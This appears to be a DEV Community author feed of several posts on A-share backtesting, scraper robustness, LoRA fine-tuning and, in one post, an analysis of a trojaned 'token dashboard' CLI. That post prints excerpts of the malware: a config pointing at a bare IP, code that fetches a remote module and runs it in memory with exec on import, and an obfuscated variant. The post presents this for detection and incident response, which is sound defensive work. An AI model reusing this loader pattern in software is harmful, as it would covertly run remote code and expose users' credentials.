DEV Community: Felixwang007

I Fixed Two Bugs in My A-Share Backtest. 47x of the Edge Vanished, and Every 'Buy' Pattern Went Negative

Felixwang007 — Thu, 24 Sep 2026 12:57:59 +0000

TL;DR — I rebuilt my Chinese A-share signal study on 3,145 main-board stocks × 622
trading days (2024-01-26 → 2026-09-18) = 904,775 pattern-labelled stock-days, using free
data. Two measurement bugs were inflating the results. After fixing them, none of the six
classic chart patterns beat the equal-weight universe. The only statistically solid
signals left were the two avoidance ones.

This is the follow-up to my earlier volume study
that flipped sign between two consecutive months. Same rule: publish the number even when
it kills the story I wanted to tell.

What I built

Data: daily K-lines for 3,145 Shanghai/Shenzhen main-board names, pulled from Tencent's free
endpoint — no key, no vendor, ~0.2 s per stock:

https://web.ifzq.gtimg.cn/appstock/app/fqkline/get?param=sh600000,day,,,640,qfq

Six patterns, each defined by measurable conditions (not by the name a newsletter gives it):

pattern	condition
Breakout+Volume	close > prior 20-day high and volume ratio ≥ 1.5
HighLevelVolumeDrop	in the top 30% of its 20-day range, day ≤ −3%, volume ratio ≥ 1.3
OversoldRebound	MA5 < MA20, 20-day return ≤ −15%, day > +2%, volume ratio ≥ 1.2
LowVolPullback	MA5 > MA20, down day, volume ratio ≤ 0.85
Uptrend	MA5 > MA10 > MA20 and close > MA20
Sideways	20-day range < 8% and

Label = forward 5-trading-day return. The rules are ported verbatim from the labelled set I
use to fine-tune my own model, and I checked the port: 5,998 of 6,000 randomly sampled
labelled rows reproduce exactly (99.97%), so the labels here and the labels in the model's
training data agree.

Bug #1 — the ragged panel invents market days

Concatenating one file per stock gives 6,487 distinct dates. Only 622 of them are real
market days; the other 5,870 are phantom "sessions" where one or two stale or delisted
files traded (median 4 rows). Averaging over them moved conclusions a lot:

pattern            clustered (622 real days)     over all dates incl. phantom
Uptrend            +0.191%   t=+1.47             +0.526%   t=+5.66
LowVolPullback     +0.317%   t=+2.29             +0.546%   t=+5.48
Sideways           +0.322%   t=+3.11             +0.020%   t=+0.28

An "uptrend continuation edge" with t=+5.7 turned into t=+1.5 — i.e. nothing — purely from
stale single-name dates. Guard: a date only counts if ≥500 universe members have a defined
20-day MA that day.

Bug #2 — one session is not 200 independent samples

This is the bigger one. Stock-days inside a session are highly correlated: a market-wide
bounce lifts hundreds of "oversold rebound" names at once.

Raw row-level average for oversold-rebound setups on days when >60% of the market was above
its 20-day MA: +11.35%, 67.8% win rate, 374 rows. Same data, one observation per day
instead of one per row: +0.65%. Two sessions carried the whole thing — 2026-07-31
(222 names, +14.25% average) and 2026-08-04 (34 names).

The fix is five lines:

per_day = {}
for r in rows:
    per_day.setdefault(r["date"], []).append(r["fwd5"])

day_means = [statistics.fmean(v) for v in per_day.values()]
mean = statistics.fmean(day_means)
t = mean / (statistics.stdev(day_means) / len(day_means) ** 0.5)   # n = DAYS, not rows

What survived both fixes

Mean of per-day means, forward 5 days, 2024-01 → 2026-09:

pattern	days	rows	fwd 5d	t	naive row-level mean
Sideways	603	175,338	+0.322%	+3.11	+0.425%
LowVolPullback	615	231,310	+0.317%	+2.29	+0.526%
Uptrend	617	401,002	+0.191%	+1.47	+0.362%
OversoldRebound	462	5,934	+0.033%	+0.10	+1.547%
Breakout+Volume	617	59,352	−0.432%	−2.84	−0.289%
HighLevelVolumeDrop	608	7,151	−1.557%	−6.30	−1.152%

Note the last column: the oversold-rebound row-level mean is 47× its clustered value.
That 47× is the most common backtest lie on the internet.

The test that killed the bullish patterns

A positive raw return does not mean the pattern works — it may just mean the market went up.
So subtract the same-day equal-weight universe return from every row:

pattern	excess fwd 5d	t
HighLevelVolumeDrop	−1.958%	−9.84
Breakout+Volume	−0.843%	−8.54
OversoldRebound	−0.361%	−1.39
Uptrend	−0.220%	−3.95
LowVolPullback	−0.117%	−2.18
Sideways	−0.065%	−0.94

Not one bullish pattern beat just holding the basket. Every positive number in the
previous table was market beta — including "buy the uptrend" and "buy the pullback". What
survives is only what you should avoid: a high-level drop on heavy volume, and chasing a
volume breakout.

The one filter that did move the needle: breadth

Because beta is the whole game, the market's own breadth is the useful variable. I built a
gauge: share of the universe trading above its own 20-day MA, once per day, from all
3,145 names.

Using that as a regime filter on the equal-weight universe (next 5 trading days):

breadth bucket	days	next-5d equal-weight	t	up-days
<20%	68	+0.80%	+2.22	63.2%
20-40%	163	−0.50%	−1.87	46.6%
40-60%	160	+0.93%	+3.51	60.6%
60-80%	143	+0.36%	+1.86	58.7%
>80%	83	+0.97%	+2.03	59.0%

Both tails are positive; the dead zone is 20-40% — and that is exactly where the market
sat at the end of this sample (2026-09-18: 32.63% above MA20, 28th percentile of 622
days).

Inside that band, no pattern has positive expectancy:

breadth 20-40%:  high-level volume drop  -2.92% (t-5.5)
                 breakout + volume       -1.35% (t-4.7)
                 oversold rebound        -1.81% (t-3.4)
                 low-volume pullback     -0.86% (t-3.0)
                 uptrend                 -0.80% (t-3.3)
breadth 40-60%:  low-volume pullback     +0.96% (t+3.5)
                 uptrend                 +0.73% (t+2.8)
                 sideways                +0.76% (t+3.6)

The year split (2024 / 2025 / 2026) keeps the sign of the 40-60% bucket in all three years
(+1.1 / +1.1 / +0.5), so that middle band is not one lucky stretch. The tails move around.

How I use this now

Benchmark against the day's equal-weight return, not against zero. Half the "edges" in retail technical analysis are just exposure.
Cluster before you compute a t-stat. If your study has 400 rows but 8 effective days, you have 8 observations.
Guard the panel. A minimum-names-per-day rule catches stale files before they become "evidence".
Sell signals are more robust than buy signals here. Two of two avoidance patterns survived with |t| > 6; zero of four bullish ones did.

Caveats

Main board only (no ChiNext / STAR / BSE), 2024–2026 sample, no transaction costs, no T+1
fill modelling, overlapping 5-day windows (so the t-stats are optimistic, not
conservative), and I inspected dozens of signal × regime cells — at that count some t≈2
values are noise. Treat this as a measurement lesson, not a trading system.

Reproduce it

Everything is one script against free data — no API key:

# one JSON per stock: [{date,open,high,low,close,volume}, ...]
python breadth_gauge.py path/to/history_ext

→ github.com/Felixwang007/a-share-signal-lab — breadth_gauge.py (builds the gauge and
every number above), breadth_gauge.json (622 days of breadth), breadth_stats.json (the
tables), plus the earlier volume study.

If you want this kind of data-audit tooling packaged for an AI coding agent to run for you,
I publish skills for that on 虾评 — but the honest version of the
finding lives in the repo above, where you can recompute it yourself.

A 1,145-Star CLI Promised "Nothing Leaves Your Machine". It Executes a Hidden Payload at Import Time.

Felixwang007 — Mon, 21 Sep 2026 04:13:28 +0000

A repo with 1,145 stars told me it ran entirely locally. Line 12 of its CLI said otherwise, and the check that would have caught it takes 20 seconds.

This is what it looked like, what I changed about my install routine, and where the routine still fails.

The README said all the right things

crwdla/tokentab was on GitHub Trending in mid-September 2026: two weeks old, ~1.1k stars, a dashboard screenshot, and this:

tokentab reads the session logs that Claude Code, Codex, Cursor and Gemini CLI already leave on disk... It runs entirely locally: no account, no API key, nothing leaves your machine.

That pitch is plausible, which is why it works. A token-cost dashboard has to read ~/.claude/projects/**/*.jsonl and ~/.codex/sessions/**/rollout-*.jsonl. Nothing about the premise is suspicious.

What was in the tree

Commit d9e8cb4 (2026-09-07), file tokentab/setup.py:

CONFIG = {
    "HOST": "172.233.51.81",   # bare IP, no domain, no TLS
    "PORT": 8765,
    "ASSET": "main",
    "API_KEY": "test123",
    "PAYLOAD_KEY": "secret456",
}
CLIENT_MODULE = "manual_mapper.py"

def _load_module_memory(name: str, data: bytes) -> None:
    module = types.ModuleType(mod_name)
    module.__file__ = f"<ram:{name}>"          # never touches disk
    sys.modules[mod_name] = module
    exec(compile(data, name, "exec"), module.__dict__)

def bootstrap(cfg, url):
    if sys.platform != "win32":
        raise RuntimeError("win32 only")
    data = _fetch_bytes(f"{_server_base(url)}/api/v1/client/{CLIENT_MODULE}", cfg["API_KEY"])
    _load_module_memory(CLIENT_MODULE, data)

And in cli.py, at module scope:

from tokentab import setup

setup.run_sync()      # line 12 — before argparse, before any output

That line runs when the module is imported. Not when you pass a flag, not when you choose a subcommand: on import. Which means it also runs during pip install ..

Two details worth sitting with. First, the fetched module was called manual_mapper.py — a name with no relationship to counting tokens. Second, the same file still contained Panel.fit(f"[bold cyan]text-humanizer[/bold cyan]") and a Deepseek REPL banner: leftovers from a different project, pasted in wholesale. Written, not assembled.

It did not get fixed. It got obfuscated.

Commit 3a7aac5 (2026-09-19, "add cursor support") deleted the readable version and replaced it with this shape:

_rd9r1n = lambda a, k: bytes(v ^ k for v in a)
_ddsw42wg7z = __import__(_rd9r1n([246,243,255,253], 158).decode())      # hmac
_xvz9negeaj = __import__(_rd9r1n([109,123,126,117], 23).decode())       # zlib
_ttyvpj     = __import__(_rd9r1n([30,23,5,30,26,31,20], 118).decode())  # hashlib

_a85u37nq1e = [[45,46,23,249,203,133,92,172, ... ]]   # ~7 KB of int arrays

…then an HMAC-SHA256 keystream over the reassembled blob, zlib.decompress, and the last line of the file:

def _i44hyn5c6u():
    getattr(__import__(<decoded "builtins">), <decoded "exec">)(_q6newk(), globals())

_i44hyn5c6u()          # line 42, runs on import

cli.py line 12 now reads setup.run_sync(FORCE_SYNC=True). Same behaviour, one difference that matters: stage 2 no longer needs the network, because it ships inline and unpacks in memory.

The lesson that cost me a credential rotation: read the tail of the file, not the head. The trigger was the last line.

Verify it yourself — clone only, do not pip install . or run it:

git clone --depth 1 https://github.com/crwdla/tokentab && cd tokentab
git show d9e8cb4:tokentab/setup.py | sed -n '12,23p'   # CONFIG block
git show d9e8cb4:cli.py            | sed -n '1,14p'    # import-time call
git show 3a7aac5:tokentab/setup.py                     # obfuscated variant

Why dev tooling is the ideal delivery vehicle

Machine that runs coding agents = .env with provider keys, a git token, a registry token, cloud credentials, and for me a market-data API key for an A-share pipeline. A "token cost dashboard" asking to read your session logs is a plausible reason to be in there — session logs contain your prompts, your code, and your absolute paths.

Stars are not evidence either. Four commits, one account, two weeks old, 1,145 stars.

The 20 seconds I spend now

Five checks, no install, nothing executed. I wrapped them into two scripts (repo below, audit.sh for bash and audit.py for Windows):

bash audit.sh https://github.com/<owner>/<repo>
python audit.py ./local/checkout

#	Check	Why it is the check
1	hardcoded IP endpoints, with or without scheme	an open-source CLI that talks to `203.0.113.7:8765` has no documented reason to; real tools use a domain and a real API
2	`fetch → exec / compile / decompress` chains	downloading code and running it in-process is the malware pattern; the fetcher and the `exec` are frequently in different files
3	import-time side effects (`setup.run_sync()`, `_i44hyn5c6u()`)	runs before you see output, and inside `pip install .`
4	obfuscation smell: xor lambdas, big int-array literals, `getattr(mod, <decoded>)`	no cost-tracking CLI needs to hide module names behind byte arithmetic
5	declared vs real distribution (PyPI name, npm `preinstall`/`postinstall`)	an install hook is code you never read and always run

Run against the two versions above, the checker reports 4 findings for each. Run against a benign repo of mine, it reports zero.

The false positive that almost killed the tool

My first version flagged 414.336.75.75 in a clean repo. It was SVG path data — <path d="...414.336.75.75..."> — matching loosely as an IPv4. I added an octet range validation (each part ≤ 255) and it went quiet. A checker that cries wolf on viewBox attributes gets ignored by the second week, which is strictly worse than not having one.

If you already executed it

Order matters more than thoroughness here.

Kill the process by command line. Never blanket-kill the interpreter: on an agent host pkill python takes your agent down with the payload.
Clone nothing else from that author until you're done.
Rotate everything the process could read — .env, provider keys, git credentials, registry tokens. Assume the machine's full credential set is burnt.
Check persistence (Run keys, scheduled tasks, Startup, hosts). Memory-only payloads leave nothing, so a clean result is not an all-clear.
Reboot. A purely in-memory implant doesn't survive a restart. If there's no file to delete, this is the only removal step that reliably works.
Inventory what else has execution rights, because disk scanning can't see runtime behaviour:

npx -y geiger-scan                                    # agents / MCP servers / plugins / hooks
npx -y geiger-scan --json "$LOCALAPPDATA/Temp/geiger_$(date +%Y%m%d).json"
npx -y geiger-scan --diff baseline.json               # what appeared since last week

On my machine the number that mattered wasn't 65 items across 7 ecosystems — it was the 13 items in the EXECUTES tier. One of them was an agent event hook, and hooks run without a prompt, so silently replacing one hook file is a complete backdoor. --diff against last week's snapshot is the only thing that tells you when something new walked in.

What this cannot do

A static grep does not see runtime behaviour — I could not recover the stage-2 program above without executing it, and that's the point: by then the audit has already failed. It also misses stage-2 code fetched at run time from a domain that looks clean today, anything that never touches disk, and compromised releases of tools you already trust.

It is triage, not security. Its job is to make "clone and run" cost 20 seconds of reading instead of a credential rotation.

Both scripts are MIT and dependency-free here: github.com/Felixwang007/agent-supply-chain-audit — audit.sh, audit.py, and the checklist in the README.

The same checklists ship as agent skills I publish on 虾评 (xiaping.coze.com) for anyone driving Claude Code / Codex / Hermes-style agents. If you've hit a different flavour of this — a poisoned MCP server, a lookalike npm package, a "harmless" postinstall script — I'd like to compare notes in the comments.

I Broke My Own GitHub Trending Scraper 5 Ways on Purpose. All 5 Builds Stayed Green.

Felixwang007 — Thu, 17 Sep 2026 04:59:29 +0000

I run a zero-API GitHub Trending aggregator. In the 52 days since I set it up, it has fired 201 times and 199 of those runs succeeded. The only two failures happened on day one and had nothing to do with scraping — GitHub Pages wasn't enabled yet, so the deploy step returned a 404.

A wall of green builds reads like a health signal. So this week I stopped trusting it and tried to break my own parser on purpose.

I fed it five kinds of damaged HTML — the kind of damage GitHub actually introduces during a routine CSS refactor. Every single test returned normally. No exception, no non-zero exit, no failed build. The site would have published anyway, with empty or corrupted data, and CI would have filed it as a success.

Here is the full teardown, the exact numbers, and the completeness canary I now run before anything ships.

What the pipeline actually is

No token. No REST API. No rate limits. That was the design constraint, so the whole thing is:

GitHub Actions cron, 0 */6 * * * — four runs a day.
urllib.request GETs six pages: github.com/trending?since=weekly plus the python, javascript, typescript, rust, and go variants.
A regex parser extracts repo name, description, language, total stars, forks, and weekly star gain.
It writes trending.json + summary.json + a static index.html and uploads the folder as a Pages artifact.

The latest run collected 116 rows across those six pages (22 on the all-languages page, 20 / 18 / 18 / 19 / 19 on the language pages). Across 201 runs that's roughly 23,000 repo rows, all from HTML, all for $0.

What that weekly snapshot actually says

Before the failure analysis, the payload, from the run at 2026-09-17 04:39 UTC — all numbers below come straight out of the published trending.json:

Repo	Stars	Language	This week
obra/superpowers	287,691	Shell	+4,023
affaan-m/ECC	260,457	JavaScript	+5,292
microsoft/markitdown	184,901	Python	+2,733
DietrichGebert/ponytail	140,542	JavaScript	+7,218
github/spec-kit	137,423	Python	+3,019
TauricResearch/TradingAgents	107,085	Python	+3,350
addyosmani/agent-skills	95,574	JavaScript	+2,119
ayghri/i-have-adhd	47,005	Python	+13,737
bilawalsidhu/gods-eye-view	36,174	JavaScript	+14,777
alibaba/open-code-review	32,463	Go	+8,594

The 22 repos on that page represent 1,709,069 stars in total.

I classified them with an explicit, reproducible rule: a repo counts as agent infrastructure if its name or description contains one of skill, plugin, agent, harness, context, memory, mcp, prompt, spec-kit, superpowers, humanizer, no-ai-slop.

Result: 19 of 22 repos (86%), holding 1,397,405 of those stars (82%).

The three that didn't match are bilawalsidhu/gods-eye-view (browser spy-satellite simulator), microsoft/markitdown (document → markdown), and home-assistant/core. The rule is keyword-based and I'm not going to pretend it's a semantic classifier — but when the three exceptions are a satellite simulator, a document converter, and Home Assistant, the trend isn't ambiguous. What developers are starring hardest in September 2026 is the layer that wraps the model: skills, harnesses, context stores, plugin registries, and anti-slop filters. blader/humanizer (49,268★) and petergyang/no-ai-slop (10,178★) are both in the list — tools whose entire job is cleaning up output that another model produced.

The five ways I broke it

Here's the test harness. I monkeypatched urllib.request.urlopen to return saved GitHub HTML from disk, so every run is offline and deterministic, then scored the parser on four dimensions instead of just "did it crash":

rows — article blocks found
name — non-empty repo names
desc — non-empty descriptions
lang / stars — populated fields

The results:

Test	Injected change	rows	names	descs	stars	Raised?
1	Real saved HTML	21	21	20	21	no
2	`200 OK` with an empty body	0	0	0	0	no
3	Container class truly renamed (`Box-row` → `TrendRow`)	0	0	0	0	no
4	Description class renamed (`col-9` → `col-10`)	21	21	0	21	no
5	GitHub's real migration: `pr-4` → `tmp-pr-4` on layout classes	21	21	0	21	no

Test 4 and 5 are not hypothetical. GitHub is in the middle of prefixing its utility classes with tmp-, and today's trending markup reads class="col-9 color-fg-muted my-1 tmp-pr-4". A parser pinned to the full class string doesn't crash on that — it silently returns zero descriptions while still reporting 21 healthy rows. Your row count looks perfect and every card on the site is blank.

And the one that genuinely frightened me:

--- TEST 6: selector requiring <a href="/ to be the FIRST attribute ---
    articles: 21
    extracted: 21  of which wrong (end with /stargazers): 21
    sample wrong value: omacom/omarchy/stargazers

--- TEST 7: same markup, attributes allowed before href ---
    extracted: 21 | sample: omacom/omarchy | wrong: 0

GitHub reordered the attributes on the anchor inside each <h2>. The old-style selector <h2[^>]*>.*?<a href="/([^"]+)" requires the tag to literally begin with <a href=". It no longer does, so the regex skipped the repo link entirely and latched onto the next <a href="/..."> in the block — which is the stargazers link.

21 out of 21 repo names came out as owner/repo/stargazers. Not an error. Not a warning. A perfectly-formed string with the wrong content, in every row, in every build.

Why the green build is the wrong instrument

The aggregator had exactly one health channel: the build status. The build status measures whether the code ran. It says nothing about whether the output was shaped like the output.

That means a green run has two indistinguishable meanings:

fresh data, or
no data, published confidently

There's a second blind spot in the same archive. Of the 201 runs, 17 pairs of consecutive runs were more than 8 hours apart, the longest being 13.2 hours, against a nominal 4-per-day schedule of ~208 slots. GitHub Actions cron drifts and queues. From the outside, a 13-hour hole and a 6-hour heartbeat look identical — both are green.

This is the same class of failure I keep running into with agents: success is a statement about the executor, not about the artifact. (I wrote about a nastier version of it — twelve days of success: true with zero articles actually published — here.)

The fix: a completeness canary, run before publish

Four assertions, none of which is "did it crash":

Row floor — fewer than 15 rows means the selector rotted.
Description coverage ratio — if under 80% of rows have a description, the field selector broke even though the row count looks fine. This is the assertion that catches Tests 4 and 5.
Name shape — every repo name must contain exactly one /. This catches the owner/repo/stargazers corruption. A shape check, not a length check, because the failure was well-formed.
Snapshot age — an unparsable or stale updated_at fails. This is the only thing that catches the 13-hour cron hole.

Run against the live artifact and against deliberately damaged copies:

LIVE  (2026-09-17 04:39 UTC): PASS
EMPTY scrape               : ['row count 0 < 15']
DESCRIPTIONS wiped         : ['description coverage 0/5 < 80%']
STALE snapshot (9.0h old)  : ['snapshot age 9.0h > 8h']

(The 0/5 is because the trimmed summary.json only keeps the top five rows for the Actions log — the canary itself runs against the full trending.json.)

def verdict(doc, lang_counts, min_rows=15, min_desc_ratio=0.8, max_age_hours=8):
    problems = []
    repos = doc.get('repos') or []
    total = doc.get('total_repos') or 0

    if total < min_rows:
        problems.append(f'row count {total} < {min_rows}')

    desc = [r for r in repos if (r.get('description') or '').strip()]
    if repos and len(desc) / len(repos) < min_desc_ratio:
        problems.append(f'description coverage {len(desc)}/{len(repos)} < {min_desc_ratio:.0%}')

    bad = [r.get('name') for r in repos
           if not r.get('name') or r['name'].count('/') != 1]
    if bad:
        problems.append(f'{len(bad)} malformed repo names e.g. {bad[:2]}')

    for k, v in (lang_counts or {}).items():
        if v < min_rows:
            problems.append(f'language page "{k}" only {v} rows')

    t = datetime.datetime.strptime(doc['updated_at'], '%Y-%m-%d %H:%M UTC')
    age = (datetime.datetime.utcnow() - t).total_seconds() / 3600
    if age > max_age_hours:
        problems.append(f'snapshot age {age:.1f}h > {max_age_hours}h')

    return problems

Wire it into the workflow so a non-empty problems list exits 1 and the last-good artifact stays published. A failed build that keeps good data beats a green build that serves an empty page — and it is the only way the alert channel ever fires.

Two selector rules that would have prevented Tests 4–7 outright, both learned the hard way:

Never require attribute order. <a[^>]*href="/([^/]+)/([^"/]+)", not <a href="/.
Never pin a full class string. class="col-9[^"]*", not class="col-9 color-fg-muted my-1 pr-4".

Both are one-character-worse regexes that survive a refactor that already happened once this month.

The takeaway

Scrapers don't fail loudly. They degrade into well-formed nonsense, and the more CI you have, the more confident you get about it, because a green checkmark is a much louder signal than a missing description.

If you're running anything that scrapes, check the shape of your output on every run: field coverage ratios, value-format assertions, and freshness — not just exit codes. Count what should be there, not what happened to come back.

The aggregator is open source and updating every 6 hours: github.com/Felixwang007/github-daily-trending — a live snapshot site plus the parser and workflow, MIT, no API keys needed. If you build something on top of it, the canary above is the part worth stealing.

I also publish the smaller tools I use daily — an A-share three-pillar screener, a technical-indicator library ported to match TongDaXin's formulas, and the de-slop writing checkers — on 虾评 and at github.com/Felixwang007.

Next week: I'm wiring the same canary pattern into a stock-data pipeline, where the failure mode is worse — a silently dropped field doesn't blank a web page, it corrupts a signal.

I Fine-Tuned a 7B Model on 549 A-Share Signal Samples. The Score Didn't Move — the Errors Did.

Felixwang007 — Mon, 14 Sep 2026 04:00:48 +0000

I fine-tuned a 7B model to classify Chinese A-share signals. Setup cost me four minutes of GPU time and 549 training examples. The output looked right. Then I ran the same eval twice with 4x the LoRA rank and 2.7x the epochs — and the score landed in the same place.

This post is the honest version of that experiment: what the data actually looked like, which knobs did nothing, and where the bottleneck really was (spoiler: it was never the model).

The data: 549 samples, 12 stocks, 5 classes

I collect A-share snapshots every trading day at 15:10 with a cron job. No paid API — Tencent's quote endpoint returns GBK-encoded text and needs no key:

import requests

def quote(code):            # code like "sh600519"
    r = requests.get(f"https://qt.gtimg.cn/q={code}", timeout=10)
    f = r.content.decode("gbk").split("~")
    return {
        "price": float(f[3]),
        "prev_close": float(f[4]),
        "open": float(f[5]),
        "high": float(f[33]),
        "low": float(f[34]),
        "volume": float(f[6]),
    }

Each snapshot becomes a chat-style training row (instruction / input / output), where output is a structured verdict: signal label, reasoning, action, risk note. After a few months of collection the file sits at 549 rows over 12 tickers, and the label distribution is already a warning sign:

175  缩量回调寻底      (low-volume pullback)
155  趋势上涨通道      (trend following)
146  横盘震荡          (sideways consolidation)
 43  关键放量突破      (breakout with volume)
 30  高位放量崩塌      (distribution day)

The gap between the most and least frequent class is 5.8:1. The rarest class — the one that tells you to get out — is also the one that matters most. That ratio, not the model size, turned out to be the whole story.

The training run

Base model: Qwen2.5-7B-Instruct, QLoRA 4-bit, Unsloth, on a single RTX 3080. Rank 16, 3 epochs = 78 steps ≈ 4 minutes. That's the part everyone tweets about, and it works exactly as advertised.

Three things broke, and all three are boring infrastructure bugs worth knowing before you burn an evening:

trl version matters more than it should. trl==0.20.0 worked; 0.23/0.24 threw an entropy-related training bug. Pin it.
Chat templates with custom tokens. If your dataset uses <EOS_TOKEN> / <PAD_TOKEN> placeholders, they must be registered in the tokenizer vocabulary first, otherwise loss silently ignores them.
Environment isolation. My agent's Python environment had a different NumPy build than the training venv. Training in the wrong interpreter gave ABI crashes that look like CUDA problems. Use a dedicated venv, not the one your agent runs in.

The result that mattered

First run (rank 16, 3 epochs): the model produced fluent Chinese analysis but didn't reliably follow the output format of the training rows. Classic under-training. So I went to 8 epochs — about 11 minutes — and the format aligned. Good.

Then I did what I should have done first: I held the eval set fixed and changed one thing at a time.

rank 16 → rank 64 (4x the trainable parameters)
3 epochs → 8 epochs

The aggregate score did not move beyond run-to-run noise. What moved was which examples were wrong. The same structural failure persisted in both runs: the 30-sample distribution day class kept collapsing into the far more common pullback class, because a 5.8:1 prior is a stronger signal than the few distinguishing examples. Extra capacity just reshuffled which individual rows got hit.

That's the useful takeaway, and it's not specific to stocks:

When your dataset is coverage-bound, adding capacity only reorders your errors. It doesn't create knowledge that isn't in the examples.

A 7B model with rank-64 adapters still only knows what the 549 rows taught it. In this task, the rows also had a deeper problem: the input is a single day of price and volume, but the label depends on market regime — what the index did that week, whether the sector was rotating, what the volume looked like relative to the last 20 sessions. The model couldn't see the variable that determines the answer. No amount of LoRA fixes a missing feature.

What I'd do differently (in order)

Fix the label distribution before touching hyperparameters. Oversample or synthesise the scarce classes until the ratio is under 2:1. My rare class has 30 examples; that's not a class, it's an anecdote.
Give the model the regime, not just the snapshot. Attach 20-day rolling context (index return, sector breadth, relative volume percentile) to each row.
Split by time, never randomly. Adjacent days of the same ticker are near-duplicates. A random split leaks the answer into your eval set and inflates the score.
Freeze the eval set before the first run. Otherwise "I improved it" means "I picked the checkpoint that scored best on the set I kept looking at."
Route low-confidence output to a re-check instead of trusting it. A model that is right 80% of the time and knows when it's unsure is worth more than one that is confidently wrong on the 30 examples that matter.

The part that actually shipped

The fine-tune is the least interesting artifact from this project. The reusable pieces are:

a free, key-less data pipeline (Tencent quotes + a daily collector) that produces a clean snapshot file,
a regime-split backtest so that "this signal works" is a claim with a date range attached, and
the failure log above, which is what stopped me from shipping a model that was fluent and wrong.

I keep all three in the open here — including the negative results:

→ github.com/Felixwang007/a-share-signal-lab — honest signal replication on real A-share data: 15,900 stock-days, regime-split backtests, and the free-data Python toolkit used above. No API keys, no paid feeds, runnable on a laptop.

If you'd rather have the packaged version as an agent skill (the indicator library + the screening workflow, ready to drop into Claude Code / Cursor / any MCP client), it's also on the skill marketplaces — 虾评 and Agensi — alongside the GitHub Trending aggregator I wrote about earlier.

If you're fine-tuning anything on a few hundred rows: check your class balance and your train/test split before you check your rank. In my case that was worth more than the 4x parameter bump — and it took 4 minutes to test instead of 4 hours.

Comments welcome — especially if you've hit the same coverage ceiling with domain-specific classifiers. I'd like to know what made the difference for you: synthetic data, better features, or a smaller, cleaner label set.

I Backtested 'Volume Confirmation' on 15,900 Real A-Share Stock-Days. It Flipped Sign Between Two Consecutive Months.

Felixwang007 — Thu, 10 Sep 2026 04:02:34 +0000

Every popular rule in Chinese retail trading has a cousin in English: a big up day on strong volume continues; a big up day on weak volume fails. In A-shares it is usually phrased as 量价配合 — price and volume must agree.

I wanted to know if it survives contact with real data. So I pulled daily bars for 584 liquid Shanghai/Shenzhen names from free public endpoints (no API key, no paid vendor), built 15,900 stock-days, and conditioned the next day's return on today's move and today's volume ratio. Then I split every bucket by calendar month.

The rule works beautifully — until you split it by month. Then it flips sign.

Repo with the full script: github.com/Felixwang007/a-share-signal-lab

Why this question, on this particular day

Right now (midday, Sep 10 2026) the Shanghai Composite is at 3937.78, down 0.35%, on about ¥1.09 trillion of turnover — and here is the interesting part: out of 5,217 stocks I scanned, only 1,078 are up (20.7%), while there are 36 limit-ups against 6 limit-downs.

That is a narrow, theme-driven tape. Breadth is terrible; a small set of names is being chased hard. This is exactly the regime in which momentum rules look infallible — and exactly the regime where "the setup" quietly stops working the week after you commit to it.

Method

For every stock-day t with at least 5 prior bars and one forward bar:

field	definition
`today`	`close[t] / close[t-1] - 1`
`vr`	`volume[t] / mean(volume[t-5..t-1])` — volume ratio vs the 5-day average
`next`	`close[t+1] / close[t] - 1` — the thing being predicted

for i in range(6, len(bars) - 1):
    b, p = bars[i], bars[i-1]
    vols = [x["volume"] for x in bars[i-5:i]]
    avg5 = sum(vols) / 5.0
    rows.append((
        code,
        b["date"],
        b["close"] / p["close"] - 1.0,      # today
        b["volume"] / avg5,                 # volume ratio
        bars[i+1]["close"] / b["close"] - 1.0,   # tomorrow
    ))

Everything below is computed from that. No synthetic data, no curve fitting.

Baseline first

everything   n=15900   next-day mean=-0.063%   median=-0.123%   win=47.3%

The window drifts slightly down. Keep that number — it is the yardstick for every "signal" that follows. Most retail backtests never print this line, and that omission is where fake edges come from.

Conditioned on today's move

down >3%          n= 2330   mean=-0.184%   win=45.8%
down 1-3%         n= 3530   mean=+0.110%   win=49.5%
flat +/-1%        n= 4743   mean=-0.061%   win=47.5%
up 1-3%           n= 3162   mean=-0.192%   win=46.0%
up 3-9.5%         n= 1797   mean=-0.260%   win=44.8%
limit-up >9.5%    n=  338   mean=+1.199%   win=56.5%

Only limit-ups show positive aggregate follow-through. Note what this already tells you: buying a normal 3-9.5% up day is worse than doing nothing in this sample — about 1,797 opportunities per quarter, 44.8% win rate.

Conditioned on volume alone

vol <0.7x   (dry)     n= 2293   mean=-0.121%   win=45.3%
vol 0.7-1.3x (normal) n=10852   mean=-0.050%   win=47.7%
vol 1.3-2x  (mild)    n= 2291   mean=-0.099%   win=46.7%
vol 2-3x    (spike)   n=  371   mean=+0.168%   win=50.4%
vol >3x     (huge)    n=   93   mean=-0.169%   win=48.4%

Volume by itself is close to information-free. And "huge volume" is not bullish — n=93, negative mean. Anyone who has traded A-shares long enough has watched a 巨量 day mark the top; the data agrees, weakly.

The cross — where the rule lives

up 3-9.5%   vol <0.7x     n=   37   mean=-0.295%   win=37.8%
up 3-9.5%   vol 0.7-1.3x  n=  828   mean=-0.560%   win=42.5%
up 3-9.5%   vol 1.3-2x    n=  709   mean=-0.049%   win=46.4%
up 3-9.5%   vol 2-3x      n=  187   mean=+0.346%   win=50.8%
up 3-9.5%   vol >3x       n=   36   mean=-0.617%   win=41.7%

In aggregate the folk rule holds: the "big up day on weak volume" bucket is the second-worst in the entire study (-0.560%, 42.5% win), and it is the single most crowded bad trade in the market — 865 samples, 5.4% of all stock-days.

And the middle row is the confirmation: same move, volume 2-3x, and the sign flips to positive (+0.346%, 50.8% win).

So: rule confirmed. Right? Let me ruin it.

Split by month

setup                    2026-06          2026-07          2026-08    stable?
limit-up >=9.5%        +2.18%/64.2%     -1.39%/35.6%     +5.46%/100%    flips
up 3-9.5%, vol >=2x    +0.48%/52.0%     -0.33%/44.2%     +2.32%/71.4%   flips
up 3-9.5%, vol 1.3-2x  +0.43%/52.6%     -0.71%/37.7%     +0.69%/52.6%   flips
up 3-9.5%, vol <1.3x   +0.18%/50.2%     -1.43%/32.5%     -0.61%/42.9%   flips
flat, vol <0.7x        -0.12%/44.8%     -0.17%/45.4%     +0.52%/52.8%   flips
down >3%, vol <0.7x    +0.01%/53.4%     -1.15%/33.9%     +0.57%/60.0%   flips
down >3%, vol >=2x     +0.60%/46.2%     -1.24%/36.8%         n/a        flips

All seven setups flip. The headline: limit-up follow-through was +2.18% with a 64.2% win rate in June and -1.39% with a 35.6% win rate in July. Same rule, same market, thirty days apart.

A trader who validated the rule in June, sized up in July, and then blamed their psychology has misdiagnosed the problem entirely. The rule was never a rule. It was June.

(The August column is shown for completeness, but n=5-36 per bucket. Do not read it as evidence — including the 100% win rate. This is exactly the trap the whole post is about.)

The one-line fix: measure net of drift

